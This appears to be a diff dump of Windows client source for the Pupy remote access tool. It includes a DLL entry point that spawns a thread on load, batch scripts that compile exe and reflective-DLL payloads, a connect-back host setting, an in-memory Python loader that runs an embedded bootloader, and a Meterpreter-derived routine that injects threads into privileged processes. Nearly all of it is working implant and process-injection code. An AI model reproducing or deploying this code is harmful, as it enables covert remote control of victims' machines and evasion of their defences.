BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
HANDLE hThread;
DWORD threadId;
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
//MessageBoxA(0, "injection ok", "injection ok", MB_OK | MB_ICONINFORMATION);
hAppInstance = hinstDLL;
hThread = CreateThread(NULL,
0, // dwStackSize
mainThread, // lpStartAddress
NULL, // lpParameter
0, // dwCreationFlags (0==run right after creation)
&threadId
);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

38
client/sources/make.bat Normal file
View File

@ -0,0 +1,38 @@
del *.obj
del *.exp
del pupyx86.exe
del pupyx86.dll
::First: generate resources :
copy resources\python27_x86.dll resources\python27.dll
"C:\\Python27\\python.exe" gen_library_compressed_string.py
copy resources\library_compressed_string_x86.txt resources\library_compressed_string.txt
"C:\\Python27\\python.exe" gen_resource_header.py resources\library_compressed_string.txt
"C:\\Python27\\python.exe" gen_resource_header.py resources\python27.dll
"C:\\Python27\\python.exe" gen_python_bootloader.py
"C:\\Python27\\python.exe" gen_resource_header.py resources\bootloader.pyc
::compile them to obj files :
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c resources_library_compressed_string_txt.c
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c resources_bootloader_pyc.c
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c resources_python27_dll.c
::then compile
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c Python-dynload.c /IC:\Python27\include
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c MemoryModule.c
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c _memimporter.c /IC:\Python27\include
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c pupy_load.c /DWIN_X86 /IC:\Python27\include
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c MyLoadLibrary.c /IC:\Python27\include
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /O2 /Ob1 /c ReflectiveLoader.c /DWIN_X86 -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c actctx.c
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c pupy.c /IC:\Python27\include
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c LoadLibraryR.c
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c list.c
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c thread.c
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c remote_thread.c
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" /c base_inject.c /IC:\Python27\include
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" main_exe.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj /Fepupyx86.exe
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\cl.exe" main_reflective.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj ReflectiveLoader.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj /Fepupyx86.dll /LD
copy pupyx86.dll ..\..\pupy\payloads\
copy pupyx86.exe ..\..\pupy\payloads\

View File

@ -0,0 +1,39 @@
del *.obj
del *.exp
del pupyx64.exe
del pupyx64.dll
::First: generate resources :
"C:\\Python27\\python.exe" gen_library_compressed_string.py
copy resources\library_compressed_string_x64.txt resources\library_compressed_string.txt
"C:\\Python27\\python.exe" gen_resource_header.py resources\library_compressed_string.txt
copy resources\python27_x64.dll resources\python27.dll
"C:\\Python27\\python.exe" gen_resource_header.py resources\python27.dll
"C:\\Python27\\python.exe" gen_python_bootloader.py
"C:\\Python27\\python.exe" gen_resource_header.py resources\bootloader.pyc
::compile them to obj files :
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c resources_library_compressed_string_txt.c
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c resources_bootloader_pyc.c
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c resources_python27_dll.c
::then compile
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c Python-dynload.c /IC:\Python27\include /D_WIN64
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c MemoryModule.c /D_WIN64
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c MyLoadLibrary.c /IC:\Python27\include /D_WIN64
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c _memimporter.c /IC:\Python27\include /D_WIN64
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c pupy_load.c /IC:\Python27\include /DWIN_X64 /D_WIN64
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /O2 /Ob1 /c ReflectiveLoader.c /DWIN_X64 -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR /D_WIN64
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c actctx.c /D_WIN64
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c pupy.c /IC:\Python27\include /D_WIN64
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c LoadLibraryR.c /D_WIN64
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c list.c /D_WIN64
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c thread.c /D_WIN64
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c remote_thread.c /D_WIN64
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" /c base_inject.c /IC:\Python27\include /D_WIN64
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" main_exe.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj /Fepupyx64.exe /D_WIN64
"C:\Users\me\AppData\Local\Programs\Common\Microsoft\Visual C++ for Python\9.0\VC\Bin\amd64\cl.exe" main_reflective.c _memimporter.obj MyLoadLibrary.obj Python-dynload.obj resources_bootloader_pyc.obj resources_python27_dll.obj MemoryModule.obj pupy_load.obj ReflectiveLoader.obj resources_library_compressed_string_txt.obj actctx.obj pupy.obj list.obj thread.obj remote_thread.obj LoadLibraryR.obj base_inject.obj /Fepupyx64.dll /LD /D_WIN64
copy pupyx64.dll ..\..\pupy\payloads\
copy pupyx64.exe ..\..\pupy\payloads\

108
client/sources/mktab.py Normal file
View File

@ -0,0 +1,108 @@
# A script to generate helper files for dynamic linking to the Python dll
#
decls = '''
void, Py_Initialize, (void)
int, PyRun_SimpleString, (char *)
void, Py_Finalize, (void)
char *, Py_GetPath, (void)
void, Py_SetPythonHome, (char *)
void, Py_SetProgramName, (char *)
PyObject *, PyMarshal_ReadObjectFromString, (char *, Py_ssize_t)
PyObject *, PyObject_CallFunction, (PyObject *, char *, ...)
int, PyString_AsStringAndSize, (PyObject *, char **, Py_ssize_t *)
char *, PyString_AsString, (PyObject *)
int, PyArg_ParseTuple, (PyObject *, char *, ...)
PyObject *, PyErr_Format, (PyObject *, const char *, ...)
PyObject *, PyImport_ImportModule, (char *)
PyObject *, PyInt_FromLong, (long)
long, PyInt_AsLong, (PyObject *)
PyObject *, PyLong_FromVoidPtr, (void *)
PyObject *, Py_InitModule4, (char *, PyMethodDef *, char *, PyObject *, int)
PyObject *, PyTuple_New, (Py_ssize_t)
int, PyTuple_SetItem, (PyObject*, Py_ssize_t, PyObject *)
int, Py_IsInitialized, (void)
int, PyObject_SetAttrString, (PyObject *, char *, PyObject *)
PyObject *, PyCFunction_NewEx, (PyMethodDef *, PyObject *, PyObject *)
PyObject *, PyObject_GetAttrString, (PyObject *, char *)
PyObject *, Py_BuildValue, (char *, ...)
PyObject *, PyObject_Call, (PyObject *, PyObject *, PyObject *)
void, PySys_WriteStderr, (const char *, ...)
PyObject *, PyErr_Occurred, (void)
void, PyErr_Clear, (void)
int, PyObject_IsInstance, (PyObject *, PyObject *)
PyObject, PyInt_Type
PyObject, _Py_NoneStruct
PyObject *, PyExc_ImportError
PyObject *, PyExc_Exception
char *, _Py_PackageContext
PyGILState_STATE, PyGILState_Ensure, (void)
void, PyGILState_Release, (PyGILState_STATE)
void, PySys_SetObject, (char *, PyObject *)
PyObject *, PySys_GetObject, (char *)
PyObject *, PyString_FromString, (char *)
int, Py_FdIsInteractive, (FILE *, char *)
int, PyRun_InteractiveLoop, (FILE *, char *)
void, PySys_SetArgv, (int, char **)
PyObject *, PyImport_AddModule, (char *)
PyObject *, PyModule_GetDict, (PyObject *)
Py_ssize_t, PySequence_Length, (PyObject *)
PyObject *, PySequence_GetItem, (PyObject *, Py_ssize_t)
//int, PyCode_Check, (PyObject *)
PyObject *, PyEval_EvalCode, (PyCodeObject *, PyObject *, PyObject *)
void, PyErr_Print, (void)
PyObject *, PyBool_FromLong, (long)
int, Py_VerboseFlag
int, Py_NoSiteFlag
int, Py_OptimizeFlag
int, Py_IgnoreEnvironmentFlag
PyObject *, PyObject_Str, (PyObject *)
PyObject *, PyList_New, (Py_ssize_t)
int, PyList_SetItem, (PyObject *, Py_ssize_t, PyObject *)
int, PyList_Append, (PyObject *, PyObject *)
PyObject *, PyThreadState_GetDict, (void)
int, PyObject_IsTrue, (PyObject *)
void, PyErr_SetString, (PyObject *, const char *)
void, PyEval_InitThreads, (void)
'''.strip().splitlines()
import string
hfile = open("import-tab.h", "w")
cfile = open("import-tab.c", "w")
index = 0
for decl in decls:
if not decl or decl.startswith("//"):
continue
items = decl.split(',', 2)
if len(items) == 3:
# exported function with argument list
restype, name, argtypes = map(string.strip, items)
print >> hfile, '#define %(name)s ((%(restype)s(*)%(argtypes)s)imports[%(index)d].proc)' % locals()
elif len(items) == 2:
# exported data
typ, name = map(string.strip, items)
print >> hfile, '#define %(name)s (*(%(typ)s(*))imports[%(index)s].proc)' % locals()
else:
raise ValueError, "could not parse %r" % decl
if name == "Py_InitModule4":
print >> cfile, '#ifdef _DEBUG'
print >> cfile, '\t{ "Py_InitModule4TraceRefs", NULL },' % locals()
print >> cfile, '#else'
print >> cfile, '# if defined (_WIN64)'
print >> cfile, '\t{ "Py_InitModule4_64", NULL },' % locals()
print >> cfile, '# else'
print >> cfile, '\t{ "Py_InitModule4", NULL },' % locals()
print >> cfile, '# endif'
print >> cfile, '#endif'
else:
print >> cfile, '\t{ "%(name)s", NULL },' % locals()
index += 1
hfile.close()
cfile.close()

76
client/sources/pupy.c Normal file
View File

@ -0,0 +1,76 @@
/*
For the pupy_builtins compiled into pupy exe and reflective DLL stubs we need "Python-dynload.h".
For the standalone .pyd we need <Python.h>
*/
#include "Python-dynload.h"
#include <stdio.h>
#include <windows.h>
#include "base_inject.h"
static char module_doc[] = "Builtins utilities for pupy";
extern const char resources_library_compressed_string_txt_start[];
extern const int resources_library_compressed_string_txt_size;
#ifndef STANDALONE
extern char connect_back_host[100];
#else
char connect_back_host[100] = "0.0.0.0:443";
#endif
extern const DWORD dwPupyArch;
static PyObject *Py_get_compressed_library_string(PyObject *self, PyObject *args)
{
return Py_BuildValue("s#", resources_library_compressed_string_txt_start, resources_library_compressed_string_txt_size);
}
static PyObject *
Py_get_connect_back_host(PyObject *self, PyObject *args)
{
return Py_BuildValue("s", connect_back_host);
}
static PyObject *Py_get_arch(PyObject *self, PyObject *args)
{
if(dwPupyArch==PROCESS_ARCH_X86){
return Py_BuildValue("s", "x86");
}
else if(dwPupyArch==PROCESS_ARCH_X64){
return Py_BuildValue("s", "x64");
}
return Py_BuildValue("s", "unknown");
}
static PyObject *
Py_reflective_inject_dll(PyObject *self, PyObject *args)
{
DWORD dwPid;
const char *lpDllBuffer;
DWORD dwDllLenght;
const char *cpCommandLine;
PyObject* py_is64bit;
int is64bits;
if (!PyArg_ParseTuple(args, "Is#O", &dwPid, &lpDllBuffer, &dwDllLenght, &py_is64bit))
return NULL;
is64bits = PyObject_IsTrue(py_is64bit);
if(is64bits){
is64bits=PROCESS_ARCH_X64;
}else{
is64bits=PROCESS_ARCH_X86;
}
if(inject_dll( dwPid, lpDllBuffer, dwDllLenght, NULL, is64bits) != ERROR_SUCCESS)
return NULL;
return PyBool_FromLong(1);
}
static PyMethodDef methods[] = {
{ "get_connect_back_host", Py_get_connect_back_host, METH_NOARGS, "get_connect_back_host() -> (ip, port)" },
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
{ "_get_compressed_library_string", Py_get_compressed_library_string, METH_VARARGS },
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" },
{ NULL, NULL }, /* Sentinel */
};
DL_EXPORT(void)
initpupy(void)
{
Py_InitModule3("pupy", methods, module_doc);
}

189
client/sources/pupy_load.c Normal file
View File

@ -0,0 +1,189 @@
#define QUIET // uncomment to avoid debug prints
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include "pupy_load.h"
#include "Python-dynload.h"
#include "actctx.h"
#include "resource_python_manifest.c"
#include "base_inject.h"
HANDLE MyActCtx;
static ULONG_PTR actToken;
extern const char resources_python27_dll_start[];
extern const int resources_python27_dll_size;
extern const char resources_bootloader_pyc_start[];
extern const int resources_bootloader_pyc_size;
extern const char resource_python_manifest[];
extern DL_EXPORT(void) init_memimporter(void);
extern DL_EXPORT(void) initpupy(void);
CRITICAL_SECTION csInit; // protecting our init code
// Simple trick to get the current pupy arch
#ifdef _WIN64
const DWORD dwPupyArch = PROCESS_ARCH_X64;
#else
const DWORD dwPupyArch = PROCESS_ARCH_X86;
#endif
DWORD WINAPI mainThread(LPVOID lpArg)
{
int rc = 0;
PyObject *m=NULL, *d=NULL, *seq=NULL;
PyObject *mod;
char * ppath;
FILE * f;
char tmp_python_dll_path[MAX_PATH];
char tmp_manifest_path[MAX_PATH];
char tmp_path[MAX_PATH];
ACTCTX ctx;
BOOL activated;
HANDLE k32;
HANDLE (WINAPI *CreateActCtx)(PACTCTX pActCtx);
BOOL (WINAPI *ActivateActCtx)(HANDLE hActCtx, ULONG_PTR *lpCookie);
void (WINAPI *AddRefActCtx)(HANDLE hActCtx);
BOOL (WINAPI *DeactivateActCtx)(DWORD dwFlags, ULONG_PTR ulCookie);
PyGILState_STATE restore_state;
//InitializeCriticalSection(&csInit);
k32 = LoadLibrary("kernel32");
CreateActCtx = (void*)GetProcAddress(k32, "CreateActCtxA");
ActivateActCtx = (void*)GetProcAddress(k32, "ActivateActCtx");
AddRefActCtx = (void*)GetProcAddress(k32, "AddRefActCtx");
DeactivateActCtx = (void*)GetProcAddress(k32, "DeactivateActCtx");
if (!CreateActCtx || !ActivateActCtx)
{
return 0;
}
GetTempPath(MAX_PATH, tmp_path);
ZeroMemory(&ctx, sizeof(ctx));
ctx.cbSize = sizeof(ACTCTX);
GetTempFileName(tmp_path, "tmp", 0, tmp_manifest_path);
f=fopen(tmp_manifest_path,"w");
fprintf(f,"%s",resource_python_manifest);
fclose(f);
#ifndef QUIET
printf("manifest written to %s\n",tmp_manifest_path);
#endif
ctx.lpSource = tmp_manifest_path;
MyActCtx=CreateActCtx(&ctx);
if (MyActCtx != NULL)
{
AddRefActCtx(MyActCtx);
}
#ifndef QUIET
DeleteFile(tmp_manifest_path);
#endif
if(!Py_IsInitialized)
{
int res=0;
activated = ActivateActCtx(MyActCtx, &actToken);
if(!_load_python("python27.dll", resources_python27_dll_start)){
#ifndef QUIET
printf("loading python27.dll from memory failed\n");
#endif
//if loading from memory fail, we write dll on disk
sprintf(tmp_python_dll_path, "%spython27.dll", tmp_path);
f=fopen(tmp_python_dll_path,"wb");
res=fwrite(resources_python27_dll_start, sizeof(char), resources_python27_dll_size, f);
fclose(f);
if(!_load_python(tmp_python_dll_path, NULL)){
if(!_load_python("python27.dll", NULL)){ // try loading from system PATH
#ifndef QUIET
printf("could not load python dll\n");
#endif
}
}
}
#ifndef QUIET
printf("python interpreter loaded\n");
#endif
ppath = Py_GetPath();
strcpy(ppath, "\x00");
Py_IgnoreEnvironmentFlag = 1;
Py_NoSiteFlag = 1; /* remove site.py auto import */
Py_Initialize();
#ifndef QUIET
printf("Py_Initialize()\n");
#endif
}
restore_state=PyGILState_Ensure();
PySys_SetObject("frozen", PyBool_FromLong(1));
init_memimporter();
#ifndef QUIET
printf("init_memimporter()\n");
#endif
initpupy();
#ifndef QUIET
printf("initpupy()\n");
#endif
//mod = PyImport_ImportModule("sys");
//MessageBoxA(0, "hey ! :D", "DLL Message", MB_OK | MB_ICONINFORMATION);
/* We execute then in the context of '__main__' */
PyEval_InitThreads();
#ifndef QUIET
printf("starting evaluating python code ...\n");
#endif
//PyRun_SimpleString("print 'ok from python'");
m = PyImport_AddModule("__main__");
if (m) d = PyModule_GetDict(m);
if (d) seq = PyMarshal_ReadObjectFromString(resources_bootloader_pyc_start, resources_bootloader_pyc_size);
if (seq) {
Py_ssize_t i, max = PySequence_Length(seq);
for (i=0;i<max;i++) {
PyObject *sub = PySequence_GetItem(seq, i);
if (seq) {
PyObject *discard = PyEval_EvalCode((PyCodeObject *)sub, d, d);
if (!discard) {
PyErr_Print();
rc = 255;
}
Py_XDECREF(discard);
/* keep going even if we fail */
}
Py_XDECREF(sub);
}
}
PyGILState_Release(restore_state);
//if (PyErr_Occurred())
// PyErr_Print();
Py_Finalize();
if (!DeactivateActCtx(0, actToken)){
#ifndef QUIET
printf("LOADER: Error deactivating context!\n!");
#endif
}
//DeleteCriticalSection(&csInit);
return 0;
}

View File

@ -0,0 +1,5 @@
#ifndef PYTHONINTERPRETER
#define PYTHONINTERPRETER
DWORD WINAPI mainThread(LPVOID lpArg);
#endif

View File

@ -0,0 +1,99 @@
//#include "common.h"
#include <windows.h>
#include "remote_thread.h"
/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */
typedef struct _MIMI_CLIENT_ID {
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENTID;
/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */
typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, BOOL, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID*);
/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */
static PRtlCreateUserThread pRtlCreateUserThread = NULL;
/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */
static BOOL pRtlCreateUserThreadAttempted = FALSE;
/*!
* @brief Helper function for creating a remote thread in a privileged process.
* @param hProcess Handle to the target process.
* @param sStackSize Size of the stack to use (if unsure, specify 0).
* @param pvStartAddress Pointer to the function entry point that has been loaded into the target.
* @param pvStartParam Pointer to the parameter to pass to the thread function.
* @param dwCreateFlags Creation flags to use when creating the new thread.
* @param pdwThreadId Pointer to the buffer that will receive the thread ID (optional).
* @return Handle to the new thread.
* @retval NULL Indicates an error, which can be retrieved with \c GetLastError().
* @remark This function has been put in place to wrap up the handling of creating remote threads
* in privileged processes across all operating systems. In Windows XP and earlier, the
* \c CreateRemoteThread() function was sufficient to handle this case, however this changed
* in Vista and has been that way since. For Vista onwards, the use of the hidden API function
* \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread()
* first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the
* existing behaviour is kept for when running on XP and earlier, or when the user is already
* running within a privileged process.
*/
HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId)
{
NTSTATUS ntResult;
BOOL bCreateSuspended;
DWORD dwThreadId;
HANDLE hThread;
if (pdwThreadId == NULL)
{
pdwThreadId = &dwThreadId;
}
hThread = CreateRemoteThread(hProcess, NULL, sStackSize, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, dwCreateFlags, pdwThreadId);
// ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs
// on Vista and later.
if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY)
{
//dprintf("[REMOTETHREAD] CreateRemoteThread seems to lack permissions, trying alternative options");
hThread = NULL;
// Only attempt to load the function pointer if we haven't attempted it already.
if (!pRtlCreateUserThreadAttempted)
{
if (pRtlCreateUserThread == NULL)
{
pRtlCreateUserThread = (PRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");
if (pRtlCreateUserThread)
{
//dprintf("[REMOTETHREAD] RtlCreateUserThread found at %p, using for backup remote thread creation", pRtlCreateUserThread);
}
}
pRtlCreateUserThreadAttempted = TRUE;
}
// if at this point we don't have a valid pointer, it means that we don't have this function available
// on the current OS
if (pRtlCreateUserThread)
{
DWORD (WINAPI *fGetThreadId)(HANDLE Thread);
fGetThreadId = (void*)GetProcAddress(GetModuleHandleA("kernel32"), "GetThreadId");
if(fGetThreadId){
//dprintf("[REMOTETHREAD] Attempting thread creation with RtlCreateUserThread");
bCreateSuspended = (dwCreateFlags & CREATE_SUSPENDED) == CREATE_SUSPENDED;
ntResult = pRtlCreateUserThread(hProcess, NULL, bCreateSuspended, 0, 0, 0, (PTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, &hThread, NULL);
SetLastError(ntResult);
if (ntResult == 0 && pdwThreadId)
{
*pdwThreadId = fGetThreadId(hThread);
}
}
}
else
{
// restore the previous error so that it looks like we haven't done anything else
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
}
}
return hThread;
}

View File

@ -0,0 +1,6 @@
#ifndef _METERPRETER_REMOTE_THREAD_H
#define _METERPRETER_REMOTE_THREAD_H
HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId);
#endif

View File

@ -0,0 +1,35 @@
#ifdef _WIN64
const char resource_python_manifest[]="<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n"
"<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\n"
"<trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">\n"
"<security>\n"
"<requestedPrivileges>\n"
"<requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"></requestedExecutionLevel>\n"
"</requestedPrivileges>\n"
"</security>\n"
"</trustInfo>\n"
"<dependency>\n"
"<dependentAssembly>\n"
"<assemblyIdentity type=\"win32\" name=\"Microsoft.VC90.CRT\" version=\"9.0.21022.8\" processorArchitecture=\"amd64\" publicKeyToken=\"1fc8b3b9a1e18e3b\"></assemblyIdentity>\n"
"</dependentAssembly>\n"
"</dependency>\n"
"</assembly>\n";
#else
const char resource_python_manifest[]="<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n"
"<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\n"
"<trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">\n"
"<security>\n"
"<requestedPrivileges>\n"
"<requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"></requestedExecutionLevel>\n"
"</requestedPrivileges>\n"
"</security>\n"
"</trustInfo>\n"
"<dependency>\n"
"<dependentAssembly>\n"
"<assemblyIdentity type=\"win32\" name=\"Microsoft.VC90.CRT\" version=\"9.0.21022.8\" processorArchitecture=\"x86\" publicKeyToken=\"1fc8b3b9a1e18e3b\"></assemblyIdentity>\n"
"</dependentAssembly>\n"
"</dependency>\n"
"</assembly>\n";
#endif

View File

@ -0,0 +1,8 @@
#!/usr/bin/env python
# -*- coding: UTF8 -*-
import marshal, zlib
modules = marshal.loads(zlib.decompress(open("library_compressed_string.txt",'rb').read()))
for f in sorted([x for x in modules.iterkeys()]):
print f

Binary file not shown.

Binary file not shown.

542
client/sources/thread.c Normal file
View File

@ -0,0 +1,542 @@
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "thread.h"
#ifndef _WIN32
#include <pthread.h>
int __futex_wait(volatile void *ftx, int val, const struct timespec *timeout);
int __futex_wake(volatile void *ftx, int count);
#include <time.h>
#include <signal.h>
#endif
// thread.c contains wrappers for the primitives of locks, events and threads for use in
// the multithreaded meterpreter. This is the win32/win64 implementation.
/*****************************************************************************************/
/*
* Create a new lock. We choose Mutex's over CriticalSections as their appears to be an issue
* when using CriticalSections with OpenSSL on some Windows systems. Mutex's are not as optimal
* as CriticalSections but they appear to resolve the OpenSSL deadlock issue.
*/
LOCK * lock_create( VOID )
{
LOCK * lock = (LOCK *)malloc( sizeof( LOCK ) );
if( lock != NULL )
{
memset( lock, 0, sizeof( LOCK ) );
#ifdef _WIN32
lock->handle = CreateMutex( NULL, FALSE, NULL );
#else
pthread_mutex_init(lock->handle, NULL);
#endif
}
return lock;
}
/*
* Destroy a lock that is no longer required.
*/
VOID lock_destroy( LOCK * lock )
{
if( lock != NULL )
{
lock_release( lock );
#ifdef _WIN32
CloseHandle( lock->handle );
#else
pthread_mutex_destroy(lock->handle);
#endif
free( lock );
}
}
/*
* Acquire a lock and block untill it is acquired.
*/
VOID lock_acquire( LOCK * lock )
{
if( lock != NULL ) {
#ifdef _WIN32
WaitForSingleObject( lock->handle, INFINITE );
#else
pthread_mutex_lock(lock->handle);
#endif
}
}
/*
* Release a lock previously held.
*/
VOID lock_release( LOCK * lock )
{
if( lock != NULL ) {
#ifdef _WIN32
ReleaseMutex( lock->handle );
#else
pthread_mutex_unlock(lock->handle);
#endif
}
}
/*****************************************************************************************/
/*
* Create a new event which can be signaled/polled/and blocked on.
*/
EVENT * event_create( VOID )
{
EVENT * event = NULL;
event = (EVENT *)malloc( sizeof( EVENT ) );
if( event == NULL )
return NULL;
memset( event, 0, sizeof( EVENT ) );
#ifdef _WIN32
event->handle = CreateEvent( NULL, FALSE, FALSE, NULL );
if( event->handle == NULL )
{
free( event );
return NULL;
}
#endif
return event;
}
/*
* Destroy an event.
*/
BOOL event_destroy( EVENT * event )
{
if( event == NULL )
return FALSE;
#ifdef _WIN32
CloseHandle( event->handle );
#endif
free( event );
return TRUE;
}
/*
* Signal an event.
*/
BOOL event_signal( EVENT * event )
{
if( event == NULL )
return FALSE;
#ifdef _WIN32
//dprintf( "Signalling 0x%x", event->handle );
if( SetEvent( event->handle ) == 0 ) {
//dprintf( "Signalling 0x%x failed %u", event->handle, GetLastError() );
return FALSE;
}
#else
event->handle = (HANDLE)1;
__futex_wake(&(event->handle), 1);
#endif
return TRUE;
}
/*
* Poll an event to see if it has been signaled. Set timeout to -1 to block indefinatly.
* If timeout is 0 this function does not block but returns immediately.
*/
BOOL event_poll( EVENT * event, DWORD timeout )
{
#ifdef _WIN32
if( event == NULL )
return FALSE;
if( WaitForSingleObject( event->handle, timeout ) == WAIT_OBJECT_0 )
return TRUE;
return FALSE;
#else
BOOL result = FALSE;
// DWORD WINAPI WaitForSingleObject(
// __in HANDLE hHandle,
// __in DWORD dwMilliseconds
// );
